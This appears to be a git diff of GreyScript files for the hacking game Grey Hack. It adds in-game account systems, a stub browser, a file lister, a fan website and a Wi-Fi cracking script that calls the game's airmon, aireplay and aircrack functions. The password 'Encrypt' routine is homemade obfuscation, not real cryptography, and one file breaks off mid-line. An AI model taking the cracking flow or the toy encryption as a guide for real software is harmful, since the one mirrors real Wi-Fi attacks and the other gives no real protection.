PW.host_computer.create_folder("/server/.PirateWay/users",user)
PW.host_computer.touch("/server/.PirateWay/users/"+user,"passwd.enc")
PW.host_computer.touch("/server/.PirateWay/users/"+user,"bytes")
PW.host_computer.touch("/server/.PirateWay/users/"+user,"PW.Skey")
PW.host_computer.File("/server/.PirateWay/users/"+user).chmod("o-wrx",1)
PW.host_computer.File("/server/.PirateWay/users/"+user).chmod("u-wrx",1)
PW.host_computer.File("/server/.PirateWay/users/"+user).chmod("g-wrx",1)
PW.host_computer.File("/server/.PirateWay/users/"+user+"/passwd.enc").set_content(Encrypt(Cpass))
PW.host_computer.File("/server/.PirateWay/users/"+user+"/bytes").set_content("0")
PW.host_computer.File("/server/.PirateWay/users/"+user+"/PW.Skey").set_content(GenKey)
print("[+]User "+user+" added.")
end function
TC.login = function(user,pass)
if user and pass then
if not callPW.host_computer.File("/server/.PirateWay/users/"+user) then exit("User does not exist")
if Encrypt(pass) == callPW.host_computer.File("/server/.PirateWay/users/"+user+"/passwd.enc").get_content then login = user + ":" + pass
if not Encrypt(pass) == callPW.host_computer.File("/server/.PirateWay/users/"+user+"/passwd.enc").get_content then login = "False"
end if
if login == "False" then exit("Password incorrect.")
login = login.split(":")
print(info(login[0],login[1]))
end function

1035
theInternet/byteClient.src Normal file

File diff suppressed because it is too large Load diff

189
theInternet/primBrowser.src Normal file
View file

@ -0,0 +1,189 @@
//primBrowser private functions
ver="0.0.1"
callINET=function()
globals.inet=get_shell.connect_service
if not inet then exit("could not connect to the Internet")
end function
Encrypt=function(password)
o=[]
for ch in password
k=ch.code*10
a=k*4
s=a+100*10
t=s+1000*10*2000+10000000000
o.push("ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+bitwise("^",t,7777)+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©")
end for
return o.join("ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©")
end function
GenKey=function()
setchar="INET"
setchar=setchar+"-"+floor(rnd*10000)+"-"+floor(rnd*10000)+"-"+floor(rnd*10000)
return setchar
end function
info=function(user,pass)
bytes=inet.host_computer.File("/server/.theInternet/users/"+user+"/bytes").get_content
key=inet.host_computer.File("/server/.theInternet/users/"+user+"/IN.Skey")
return "Hello "+user+char(10)+"Bytes: "+bytes+char(10)+"Secret key: "+key
end function
ByteLogo = function()
print(" :#@@d` ")
print(" ` -Q@@8. ")
print(" `:]qBy W@@#= ")
print(" -xGB@8s|- L@@@} ")
print(" =uO##Gx:` *@@@z ")
print(" :@@#m: _B@@$` ")
print(" ,v3Q#6V^` Z@@#! ")
print(" `rk$@#ZT, *@@@* ")
print(" -rz$l_Q@@K' ")
print(" `Z@@Ry#Dy*' ")
print(" k@@Q- -rk0@BZY_ ")
print(" r@@@< .*V9#8e\` ")
print(" ,B@@E .y#@@* ")
print(" .g@@Q- `=TZ##MY!` ")
print(" e@@#< _ud##Dy*' ")
print(" v@@@u xDy*' ")
print(" <#@@m ")
print(" -Q@@8. ")
print(" -lwl'")
end function
BytePrice = function()
print("4 btc = 8 Bytes")
print("40 btc = 80 Bytes")
print("60 btc = 150 Bytes")
end function
login=function()
user=user_input("Username: ")
if not inet.host_computer.File("/server/.theInternet/users/"+user) then return "null_user"
pass=user_input("Password: ")
if not Encrypt(pass) == inet.host_computer.File("/server/.theInternet/users/"+user+"/passwd.enc").get_content then return "inc_pass"
return user+":"+pass
end function
register=function()
user=user_input("Register username: ")
if inet.host_computer.File("/server/.theInternet/users/"+user) then return "exist_user"
Rpass=user_input("Register password: ",1)
Cpass=user_input("Confirm password: ",1)
if not Cpass == Rpass then return "pass_mismatch"
print("[%]Creating account: "+user)
inet.host_computer.create_folder("/server/.theInternet/users",user)
inet.host_computer.touch("/server/.theInternet/users/"+user,"passwd.enc")
inet.host_computer.touch("/server/.theInternet/users/"+user,"bytes")
inet.host_computer.touch("/server/.theInternet/users/"+user,"IN.Skey")
inet.host_computer.File("/server/.theInternet/users/"+user).chmod("o-wrx",1)
inet.host_computer.File("/server/.theInternet/users/"+user).chmod("u-wrx",1)
inet.host_computer.File("/server/.theInternet/users/"+user).chmod("g-wrx",1)
inet.host_computer.File("/server/.theInternet/users/"+user+"/passwd.enc").set_content(Encrypt(Cpass))
inet.host_computer.File("/server/.theInternet/users/"+user+"/bytes").set_content("0")
inet.host_computer.File("/server/.theInternet/users/"+user+"/IN.Skey").set_content(GenKey)
print("[+]Created user: "+user)
return user+":"+Cpass
end function
browse=function(anon)
sites=inet.host_computer.File("/server/.theInternet/sites").get_folders
trustsites=inet.host_computer.File("/server/.theInternet/tsites").get_folders
//sites == user generated sites, trustsites == verified sites
//5 sites per page
//add more code later
//site structure:
//.theInternet/sites/[sitename]
//->site.conf, tells if main page, if other pages, how to navigate to other pages
//->site, actual website data (ie: display)
//.theInternet/sites/[sitename]/[subsite]
//->site.conf, practically the same as main page's site.conf
//->site, same as main page's site file
//.theInternet/sites/[sitename]/[subsite]/[subsite]
//you can have 1 extra subsite in a subsite
//you can have 3 subsites in a main site
//.theInternet/sites/[sitename]/downloads
//add in site.conf if downloads
//.theInternet/sites/[sitename]/[subsite]/downloads
//can have downloads in subsite too
//10000 Byte site creation fee?
//3 site per user max?
//if anon, no Byte purchases can be made
end function
globe=function()
print(" ___.....___")
print(" ,..-.=--.-. "".")
print(" .{_.. ` ,. .")
print(" .' \ / | ,'.\`.")
print(" / : ;' `____> \")
print(" : `. ( / :")
print(" | `>\_ \ r|")
print(" | / \ `._ |")
print(" | | ` ; |")
print(" : \ / ` ;")
print(" \ \. ' ` /")
print(" `. | / .'")
print(" ` `/ . '")
print(" `---'.....---''")
print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("<color=#6A855E><b>primBrowser: Access theInternet!</b></color>")
print("<color=#6A855E>Current version: "+ver+"</color>")
print("<color=#6A855E><b>By: Sparki and Darkness</b></color>")
end function
//end primBrowser private functions
anon=true
if anon then
clear_screen
globe()
print("[0] - Browse")
print("[1] - Login")
print("[2] - Register")
opt=null
while typeof(opt) != "number" or opt > 2
opt=user_input("Selection> ").to_int
end while
if opt == 1 then
print("Login to theInternet")
out=login()
if out == "null_user" then exit("User does not exist")
if out == "inc_pass" then exit("Incorrect password")
logged=out.split(":")
print(info(logged[0],logged[1]))
anon=false
end if
if opt == 2 then
print("Register account for theInternet")
out=register()
if out == "exist_user" then exit("User already exists")
if out == "pass_mismatch" then exit("Passwords do not match")
logged=out.split(":")
print(info(logged[0],logged[1]))
anon=false
end if
end if
if not anon then
clear_screen
printinet()
print("[0] - Browse")
print("[1] - Account settings")
print("[2] - Website management")
opt=null
while typeof(opt) != "number" or opt > 2
opt=user_input("Selection> ").to_int
end while
if opt == 1 then
end if
if opt == 2 then
end if
end if
if opt == 0 then // browse
browse(anon)
end if

View file

@ -0,0 +1,16 @@
//site.conf
site.downloads=false
site.subsite1="/[subsite]"
site.subsite2=false
site.subsite3=false
site.priv=true
site.users{
"[username]"
"[username]"
}
//site.conf end
//site
//each line = 1 line of content, 30 lines max? 30 characters max?
//site end

20
theInternet/the_byte.txt Normal file
View file

@ -0,0 +1,20 @@
^m3j-
:#@@d`
` -Q@@8.
`:]qBy W@@#=
-xGB@8s|- L@@@}
=uO##Gx:` *@@@z
:@@#m: _B@@$`
,v3Q#6V^` Z@@#!
`rk$@#ZT, *@@@*
-rz$l_Q@@K'
`Z@@Ry#Dy*'
k@@Q- -rk0@BZY_
r@@@< .*V9#8e\`
,B@@E .y#@@*
.g@@Q- `=TZ##MY!`
e@@#< _ud##Dy*'
v@@@u xDy*'
<#@@m
-Q@@8.
-lwl"

16
tracelib.src Normal file
View file

@ -0,0 +1,16 @@
//traceLib for ctf
TraceLib={}
TraceLib.storedHash=null
TraceLib.analyze=function(shell,file)
print("Analyzing file...")
shell.launch(file.path,"ANALYZE")
TraceLib.storedHash=shell.host_computer.File(file.path+".alz").get_content
end function
TraceLib.decompile=function(shell,file)
print("
genRandomString=function(cont)
end function

38
tree.src Normal file
View file

@ -0,0 +1,38 @@
root=comp.File("/")
safeFiles=[]
newFile={}
newFile.path=root.path
newFile.indent=0
newFile.perms=root.permissions
newFile.own=root.owner
newFile.grp=root.group
newFile.size=root.size
safeFiles.push(newFile)
newFiles=[]
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
alreadyIn=0
currFile=newFiles.pull
for i in safeFiles
if i.path == currFile.path then alreadyIn=1
end for
if alreadyIn then continue
newFile={}
newFile.path=currFile.path
newFile.indent=currFile.path.split("/")[1:].len
newFile.perms=currFile.permissions
newFile.own=currFile.owner
newFile.grp=currFile.group
newFile.size=currFile.size
safeFiles.push(newFile)
if currFile.is_folder then
newFiles=currFile.get_folders+currFile.get_files+newFiles
end if
end while
for file in safeFiles
indent=" "*file.indent
string=indent+"<color=#309FFF>["+file.own+"/"+file.grp+"/"+file.size+"/"+file.perms+"] "+file.path
print(string)
end for

209
weaselhtml.html Normal file
View file

@ -0,0 +1,209 @@
<!doctype html>
<title>Weasel Penetration Security ~={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=+={W}=+={P}=+={S}=~</title>
<style>
body {
text-align: center;
padding: 0 25px;
font: 20px Helvetica, sans-serif;
color: #333;
}
h1 {
font-size: 50px;
color: #4a80be;
line-height: 100px;
}
h2 {
font-size: 40px;
}
h3 {
font-size: 25px;
}
html{
background-color: #BBBBBB;
height: 100%;
overflow-y: scroll;
}
.btn {
border: none;
border-radius: 10px;
background-color: #4a80be;
color: #FFFFFF;
padding: 8px 8px;
text-align: center;
text-decoration: none;
display: inline-block;
font: 24;
width: 150px;
margin-top: 30px;
}
.btn:hover {
background-color: #3a6494;
color: #FFFFFF;
}
.faq {
width: 100%;
text-align: left;
}
.line {
width: 90%;
height: 2px;
background-color: #4a80be;
margin: 0 auto;
}
.intro {
width: 75%;
padding: 0;
margin: 0 auto;
font-size: 20px;
}
.wrapper {
margin: 0 auto;
}
table {
width: 80%;
table-layout: fixed;
margin-left: auto;
margin-right: auto;
}
td {
height: 80px;
vertical-align: middle;
word-break: break-all;
}
tr:nth-child(even) {
background-color: #AAAAAA;
}
th:nth-child(0) {
width: 20%;
}
th:nth-child(1) {
width: 59%;
}
th:nth-child(2) {
width: 20%;
}
#title-bar {
display: none;
}
#main-div {
display: block;
}
#grading-div {
display:none;
}
#more-div {
display:none;
}
#watchlist {
display:none;
}
</style>
<body>
<h1>Weasel</h1>
<div id="title-bar">
<button type="button" class="btn btn-primary" onclick="divmain()">Index</button> <button type="button" class="btn btn-primary" onclick="watchlist()">Watchlist</button> <button type="button" class="btn btn-primary" onclick="divgrading()">Grading</button> <button type="button" class="btn btn-primary" onclick="divmore()">More</button> <button type="button" class="btn btn-primary" id="InformaticaShop">Downloads</button>
<br>
<br>
</div>
<div class="line"></div>
<div id="main-div">
<div class="wrapper">
<p class="intro">Welcome to the Weasel Penetration Security website, we are a <strong>White Hat</strong> security organization that provides <i>you</i> with the tools needed to secure and defend <i>yourself</i>, at <strong>no cost</strong></p>
<p class="intro">We also provide a <strong>WPS Grading</strong> service where a Weasel Security representative tests the security of your system, and you get a fancy official <strong>Weasel Penetration Security (WPS) Grading Certificate</strong> for your webpage</p>
<p class="intro">Looking to join us? Find our official <strong>Discord Server</strong> at discord.gg/wsgCjCE2Eh!</p>
<p>Now with 100% less logging!</p>
</div>
<button type="button" class="btn btn-primary" onclick="watchlist()">Watchlist</button> <button type="button" class="btn btn-primary" onclick="divgrading()">Grading</button> <button type="button" class="btn btn-primary" onclick="divmore()">More</button> <button type="button" class="btn btn-primary" id="InformaticaShop">Downloads</button>
<br>
<br>
</div>
<div id="grading-div">
<br>
<p class="intro">The WPS Grading Service weighs all the <strong>pros</strong> and <strong>cons</strong> of any specific service</p>
<p class="intro">Factors weighed during grading include <strong>Service </strong>(and by extension, the owner's)<strong> Trustworthiness</strong> and general <strong>Penetration Protection</strong></p>
<p class="intro">WPS Grading is <strong>NOT FREE</strong>, Contact a Weasel Representative for more info</p>
<p class="intro">WPS Grading list is to help players know whether a service is safe or not, not decide if a service is good.</p>
<p class="intro">Official graded site list:</p>
<p>search.com % 100/100 for obvious reasons</p>
<p>
www.reliancen.org [191.54.109.115]
<br>Service Evaluation: Makes risky claims for their users that their services are unhackable.
<br>Pentest Evaluation: Safe against low-level exploits.
<br>
</p>
<p>
www.raveleflei.org [122.14.7.249]
<br>Service Evaluation: Just a basic cryptocurrency, no radical claims, it just works.
<br>Pentest Evaluation: Safe against low-level exploits. Bytes API is very vulnerable but not released publically yet.
<br>
</p>
<br>
</div>
<div id="more-div">
<br>
<p class="intro">Weasel Penetration Security is a <strong>White Hat</strong> hacking organization</p>
<p>Alan, add more details later</p>
</div>
<div id="watchlist">
<br>
<p class="intro">This is the player watchlist. All <strong>untrusted</strong> hackers or hacker IPs are listed here.</p>
</div>
<div class = "line"></div>
</body>
<script>
var titlebar = document.getElementById("title-bar");
var maind = document.getElementById("main-div");
var gradingd = document.getElementById("grading-div");
var mored = document.getElementById("more-div");
var watchlistd = document.getElementById("watchlist");
function divmain() {
maind.style.display = "block";
titlebar.style.display = "none";
gradingd.style.display = "none";
mored.style.display = "none";
watchlistd.style.display="none";
};
function divgrading() {
maind.style.display="none";
titlebar.style.display="block";
gradingd.style.display="block";
mored.style.display="none";
watchlistd.style.display="none";
};
function divmore() {
maind.style.display="none";
titlebar.style.display="block";
gradingd.style.display="none";
mored.style.display="block";
watchlistd.style.display="none";
};
function watchlist() {
watchlistd.style.display="block";
maind.style.display="none";
titlebar.style.display="block";
gradingd.style.display="none";
mored.style.display="none";
}
</script>

35
wificrack.src Normal file
View file

@ -0,0 +1,35 @@
cp=include_lib("/lib/crypto.so")
if not cp then cp = include_lib(current_path+"/crypto.so")
if not cp then exit("no crypto.so")
if params.len < 2 then
info="# BSSID POWER ESSID"
num=0
sel=null
comp = get_shell.host_computer
nd=comp.network_devices
wifi=false
cp.airmon("start","wlan0")
wifis=comp.wifi_networks("wlan0")
for wifi in wifis
info=info+"\n"+num+" "+wifi
num=num+1
end for
print(info)
while typeof(sel) != "number" or sel > wifis.len or sel < 0
sel=user_input("#> ").to_int
end while
wifi=wifis[sel].split(" ")
pwr=wifi[1]
pwr=pwr[:pwr.len-1].to_int
bssid=wifi[0]
essid=wifi[2]
maxacks=300000/pwr
else if params.len == 2 then
bssid=params[0]
essid=params[1]
maxacks=300000
else
exit("invalid parameters")
end if
cp.aireplay(bssid,essid,maxacks)
print("PASSWORD: "+cp.aircrack(current_path+"/file.cap"))